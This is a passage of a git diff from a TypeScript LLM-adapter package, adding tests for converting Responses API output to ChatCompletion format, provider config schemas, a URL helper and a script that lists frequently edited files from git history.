expect(chunks[1].choices[0].delta.tool_calls?.[0].function?.arguments).toBe( + 'est"}', + ); + const toolFinish = chunks[chunks.length - 1]; + expect(toolFinish.choices[0].finish_reason).toBe("tool_calls"); + }); + + it("emits reasoning deltas when reasoning items stream", () => { + const reasoningAdded: ResponseOutputItemAddedEvent = { + type: "response.output_item.added", + sequence_number: 1, + output_index: 0, + item: { + id: "reason_1", + type: "reasoning", + summary: [], + content: [], + } as any, + }; + const reasoningDelta: ResponseReasoningTextDeltaEvent = { + type: "response.reasoning_text.delta", + sequence_number: 2, + item_id: "reason_1", + output_index: 0, + content_index: 0, + delta: "First, inspect the repository structure.", + }; + + const chunks = collectChunks([reasoningAdded, reasoningDelta]); + expect(chunks).toHaveLength(1); + expect(chunks[0].choices[0].delta).toMatchObject({ + reasoning: { + content: [ + { + type: "reasoning_text", + text: "First, inspect the repository structure.", + }, + ], + }, + }); + }); +}); + +describe("responseToChatCompletion", () => { + it("converts a completed Responses payload into a ChatCompletion summary", () => { + const response = { + id: "resp_final", + object: "response", + model: "gpt-5-mini", + created_at: 1710000001, + output_text: "Tool call required.", + error: null, + incomplete_details: null, + instructions: null, + metadata: null, + parallel_tool_calls: false, + temperature: null, + tool_choice: null, + tools: [], + usage: { + input_tokens: 100, + input_tokens_details: { cached_tokens: 4 }, + output_tokens: 42, + output_tokens_details: { reasoning_tokens: 10 }, + total_tokens: 142, + }, + output: [ + { + id: "reason_final", + type: "reasoning", + summary: [], + content: [ + { + type: "reasoning_text", + text: "Identify missing unit tests first.", + }, + ], + }, + { + id: "tool_item_final", + type: "function_call", + call_id: "call_final", + name: "searchDocs", + arguments: '{"query":"unit tests"}', + status: "completed", + }, + { + id: "msg_final", + type: "message", + role: "assistant", + content: [ + { + type: "output_text", + text: "Triggering searchDocs tool with the provided query.", + }, + ], + }, + ], + } as unknown as Response; + + const result = responseToChatCompletion(response); + + expect(result.choices[0].message.content).toBe( + "Triggering searchDocs tool with the provided query.", + ); + expect(result.choices[0].message.tool_calls).toEqual([ + { + id: "call_final", + type: "function", + function: { + name: "searchDocs", + arguments: '{"query":"unit tests"}', + }, + }, + ]); + expect(result.choices[0].finish_reason).toBe("tool_calls"); + expect(result.usage).toEqual({ + prompt_tokens: 100, + completion_tokens: 42, + total_tokens: 142, + }); + }); +}); diff --git a/packages/openai-adapters/src/test/util.ts b/packages/openai-adapters/src/test/util.ts index c36e56848..d921306d1 100644 --- a/packages/openai-adapters/src/test/util.ts +++ b/packages/openai-adapters/src/test/util.ts @@ -207,6 +207,23 @@ export function testChat( const completion = response.choices[0].message.content; expect(typeof completion).toBe("string"); expect(completion?.length).toBeGreaterThan(0); + + if (options?.expectUsage === true) { + expect(response.usage).toBeDefined(); + expect(response.usage!.completion_tokens).toBeGreaterThan(0); + expect(response.usage!.prompt_tokens).toBeGreaterThan(0); + // Gemini 2.5 models have thinking tokens, so total_tokens >= prompt + completion + // Other models should have total_tokens = prompt + completion + if (model.includes("gemini-2.5") || model.includes("gemini-2.0")) { + expect(response.usage!.total_tokens).toBeGreaterThanOrEqual( + response.usage!.prompt_tokens + response.usage!.completion_tokens, + ); + } else { + expect(response.usage!.total_tokens).toEqual( + response.usage!.prompt_tokens + response.usage!.completion_tokens, + ); + } + } }); test("should acknowledge system message in chat", async () => { diff --git a/packages/openai-adapters/src/types.ts b/packages/openai-adapters/src/types.ts index 99735bf91..3b74b6faf 100644 --- a/packages/openai-adapters/src/types.ts +++ b/packages/openai-adapters/src/types.ts @@ -79,12 +79,14 @@ export const BedrockConfigSchema = OpenAIConfigSchema.extend({ // cacheSystemMessage: z.boolean().optional(), // cacheConversation: z.boolean().optional(), // }).optional(), - env: z.object({ - region: z.string().optional(), - accessKeyId: z.string().optional(), - secretAccessKey: z.string().optional(), - profile: z.string().optional(), - }), + env: z + .object({ + region: z.string().optional(), + accessKeyId: z.string().optional(), + secretAccessKey: z.string().optional(), + profile: z.string().optional(), + }) + .optional(), }); export type BedrockConfig = z.infer; @@ -116,6 +118,11 @@ export const CohereConfigSchema = OpenAIConfigSchema.extend({ }); export type CohereConfig = z.infer; +export const CometAPIConfigSchema = OpenAIConfigSchema.extend({ + provider: z.literal("cometapi"), +}); +export type CometAPIConfig = z.infer; + export const AzureConfigSchema = OpenAIConfigSchema.extend({ provider: z.literal("azure"), env: z @@ -197,5 +204,6 @@ export const LLMConfigSchema = z.discriminatedUnion("provider", [ VertexAIConfigSchema, LlamastackConfigSchema, ContinueProxyConfigSchema, + CometAPIConfigSchema, ]); export type LLMConfig = z.infer; diff --git a/packages/openai-adapters/src/util/appendPathToUrl.ts b/packages/openai-adapters/src/util/appendPathToUrl.ts new file mode 100644 index 000000000..7c687e407 --- /dev/null +++ b/packages/openai-adapters/src/util/appendPathToUrl.ts @@ -0,0 +1,17 @@ +export function appendPathToUrlIfNotPresent( + urlString: string, + pathWithoutSlash: string, +) { + const url = new URL(urlString); + if (!url.pathname.endsWith("/")) { + url.pathname += "/"; + } + if (!url.pathname.endsWith(pathWithoutSlash + "/")) { + url.pathname += pathWithoutSlash + "/"; + } + if (url.search) { + return url.toString(); + } + // append slash at the end + return url.toString(); +} diff --git a/scripts/analyze-file-hotspots.js b/scripts/analyze-file-hotspots.js new file mode 100755 index 000000000..484b1e9dc --- /dev/null +++ b/scripts/analyze-file-hotspots.js @@ -0,0 +1,52 @@ +#!/usr/bin/env node + +/** + * Analyzes git commit history to find file hotspots (most commonly edited files) + * Usage: node analyze-file-hotspots.js [days] [limit] + * Example: node analyze-file-hotspots.js 30 20 + */ + +const { execSync } = require("child_process"); + +// Parse command line arguments +const args = process.argv.slice(2); +const days = parseInt(args[0]) || 30; +const limit = parseInt(args[1]) || 20; + +try { + // Calculate the date from N days ago + const sinceDate = new Date(); + sinceDate.setDate(sinceDate.getDate() - days); + const sinceDateStr = sinceDate.toISOString().split("T")[0]; + + // Get the git log with file change stats + const gitCommand = `git log --since="${sinceDateStr}" --name-only --pretty=format:`; + const output = execSync(gitCommand, { + encoding: "utf-8", + maxBuffer: 10 * 1024 * 1024, // 10MB buffer + }); + + // Parse the output and count file occurrences + const fileCount = {}; + const lines = output.split("\n").filter((line) => line.trim() !== ""); + + lines.forEach((line) => { + const file = line.trim(); + if (file) { + fileCount[file] = (fileCount[file] || 0) + 1; + } + }); + + // Sort files by edit count (descending) + const sortedFiles = Object.entries(fileCount) + .sort((a, b) => b[1] - a[1]) + .slice(0, limit); + + // Display results as tab-separated values + sortedFiles.forEach(([file, count]) => { + console.log(`${count}\t${file}`); + }); +} catch (error) { + console.error("Error:", error.message); + process.exit(1); +}